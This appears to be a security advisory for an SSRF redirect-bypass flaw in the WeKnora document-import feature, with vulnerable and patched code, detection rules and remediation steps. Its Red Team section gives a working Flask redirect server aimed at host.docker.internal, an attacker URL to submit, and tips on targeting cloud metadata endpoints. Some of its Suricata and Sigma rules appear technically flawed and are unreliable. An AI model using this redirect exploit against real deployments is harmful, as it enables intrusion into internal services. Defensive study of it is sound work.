CVE-2026-30247

Executive Summary

CVE-2026-30247 is a Server-Side Request Forgery (SSRF) vulnerability in WeKnora, an LLM-powered framework for deep document understanding and semantic retrieval. The vulnerability resides in the "Import document via URL" feature. While the application implements robust initial URL validation to block private IPs, loopback addresses, reserved hostnames, and cloud metadata endpoints, it fails to validate HTTP redirect targets. An attacker can bypass all protections by crafting a redirect chain that forces the server to access internal services, including Docker-specific internal addresses like host.docker.internal. This vulnerability has been patched in version 0.2.12.

Supply Chain & Package Security

WeKnora is a Python-based framework distributed via PyPI. The vulnerability affects all versions prior to 0.2.12. Organizations using WeKnora should immediately update to the latest patched version. The package is not known to be affected by any malicious dependency injection, but the SSRF flaw itself can be exploited to access internal services, potentially leading to further compromise.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L
• Base Score: 5.9 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: None (I:N)
• Availability Impact: Low (A:L)

Threat Level: Medium. The vulnerability allows an unauthenticated attacker to perform SSRF attacks, potentially accessing internal services and Docker-specific endpoints. While the impact is limited to low confidentiality and availability, the ability to bypass all initial protections makes it a significant threat in environments where WeKnora is deployed.

Deep Dive & Mechanics

The vulnerability is a classic SSRF with a redirect bypass. The application's "Import document via URL" feature performs the following steps:

1. Initial URL Validation: The backend checks the provided URL against a blocklist that includes private IP ranges (e.g., 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16), loopback addresses (127.0.0.0/8), reserved hostnames (e.g., localhost), and cloud metadata endpoints (e.g., 169.254.169.254).
2. HTTP Request: If the URL passes validation, the server makes an HTTP request to fetch the document.
3. Redirect Handling: The server follows HTTP redirects (3xx status codes) without re-validating the redirect target.

An attacker can exploit this by:

1. Hosting a malicious server that responds with a 302 redirect to an internal address (e.g., http://host.docker.internal:5000 or http://192.168.1.1).
2. Providing the attacker-controlled URL to the WeKnora import feature.
3. The server validates the initial URL (which points to a public server), then follows the redirect to the internal target, bypassing all protections.

The vulnerability is particularly dangerous in Docker environments where host.docker.internal is not blocked, allowing access to the host machine's services.

Vulnerable vs. Patched Code

Vulnerable Code (pre-0.2.12):

def import_document(url):
    if not is_valid_url(url):
        raise ValueError("Invalid URL")
    response = requests.get(url, allow_redirects=True)
    # Process response

In this version, is_valid_url() only checks the initial URL. The allow_redirects=True parameter causes the client to follow redirects without re-validation.

Patched Code (0.2.12):

def import_document(url):
    if not is_valid_url(url):
        raise ValueError("Invalid URL")
    response = requests.get(url, allow_redirects=False)
    while response.status_code in (301, 302, 303, 307, 308):
        redirect_url = response.headers['Location']
        if not is_valid_url(redirect_url):
            raise ValueError("Invalid redirect target")
        response = requests.get(redirect_url, allow_redirects=False)
    # Process response

The patched version disables automatic redirect following and manually validates each redirect target before following it.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A publicly accessible server to host the malicious redirect.
• WeKnora instance (version < 0.2.12) with network access to internal services.

Exploitation Steps:

1. Set up a malicious redirect server (e.g., using Python Flask):

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect')
def redirect_to_internal():
    # Redirect to Docker host internal service
    return redirect('http://host.docker.internal:5000')

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

2. Provide the malicious URL to the WeKnora import feature: http://attacker.com/redirect

3. The server will follow the redirect and access the internal service.

Advanced Exploitation:

• Chain multiple redirects to bypass any intermediate validation.
• Use DNS rebinding to further obfuscate the attack.
• Target cloud metadata endpoints (e.g., http://169.254.169.254/latest/meta-data/) if not blocked by the initial validation.

Blue Team

Detection:

• Monitor for unusual outbound HTTP requests from the WeKnora server.
• Look for requests to known internal IP ranges or host.docker.internal.
• Analyze HTTP redirect chains in server logs.

Hunting:

• Search for logs containing host.docker.internal or private IP addresses in the URL field.
• Correlate with the "Import document via URL" feature usage.

Lab Setup:

• Deploy a vulnerable WeKnora instance in a Docker container.
• Set up a simple internal service (e.g., a web server on port 5000) to simulate the target.
• Use a redirect server to test the exploit.

Indicators of Compromise (IOCs)

• Network IOCs:

  • Outbound HTTP requests to host.docker.internal or private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16).
  • HTTP requests with multiple redirects (3xx status codes) in quick succession.
  • Requests to cloud metadata endpoints (169.254.169.254).

• File IOCs:

  • Log entries containing host.docker.internal or private IPs in the URL field.
  • Unusual files created in the WeKnora document storage directory.

• Behavioral IOCs:

  • Unexpected access to internal services from the WeKnora server.
  • Increased outbound traffic from the WeKnora container.

Detection Engineering

YARA Rule

rule CVE_2026_30247_SSRF_Redirect {
    meta:
        description = "Detects SSRF attempts via redirect bypass in WeKnora"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-30247"
    strings:
        $redirect = /HTTP\/1\.[01] 30[12378]/ nocase
        $internal_ip = /(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3})/
        $docker_host = "host.docker.internal"
    condition:
        $redirect and ($internal_ip or $docker_host)
}

Sigma Rule

title: WeKnora SSRF via Redirect Bypass
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SSRF attempts via redirect bypass in WeKnora
author: Valters IT
date: 2026-01-01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-30247
logsource:
    category: webserver
    product: weknora
detection:
    selection:
        http_method: GET
        http_status: 30[12378]
        url|contains:
            - 'host.docker.internal'
            - '10.'
            - '172.16.'
            - '172.17.'
            - '172.18.'
            - '172.19.'
            - '172.20.'
            - '172.21.'
            - '172.22.'
            - '172.23.'
            - '172.24.'
            - '172.25.'
            - '172.26.'
            - '172.27.'
            - '172.28.'
            - '172.29.'
            - '172.30.'
            - '172.31.'
            - '192.168.'
            - '127.'
            - '169.254.'
    condition: selection
falsepositives:
    - Legitimate redirects to internal services (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2026-30247 WeKnora SSRF Redirect Bypass"; flow:to_server,established; content:"HTTP/1.1 30"; http_server_body; content:"Location"; http_header; nocase; pcre:"/Location:\s*(https?:\/\/)(10\.\d{1,3}\.\d{1,3}\.\d{1,3}|172\.(1[6-9]|2\d|3[01])\.\d{1,3}\.\d{1,3}|192\.168\.\d{1,3}\.\d{1,3}|127\.\d{1,3}\.\d{1,3}\.\d{1,3}|169\.254\.\d{1,3}\.\d{1,3}|host\.docker\.internal)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade WeKnora to version 0.2.12 or later.
2. If immediate upgrade is not possible, disable the "Import document via URL" feature.
3. Implement network segmentation to restrict outbound traffic from the WeKnora server.

Long-term Mitigations:

• Apply strict egress filtering to block outbound traffic to private IP ranges and host.docker.internal.
• Use a web application firewall (WAF) to inspect and block SSRF attempts.
• Implement additional validation for redirect targets in custom code.
• Regularly review and update the URL blocklist.

Detection:

• Deploy the provided YARA, Sigma, and Suricata rules.
• Monitor logs for SSRF indicators.
• Conduct regular security assessments of the WeKnora deployment.

Valters IT
Securing Digital Frontiers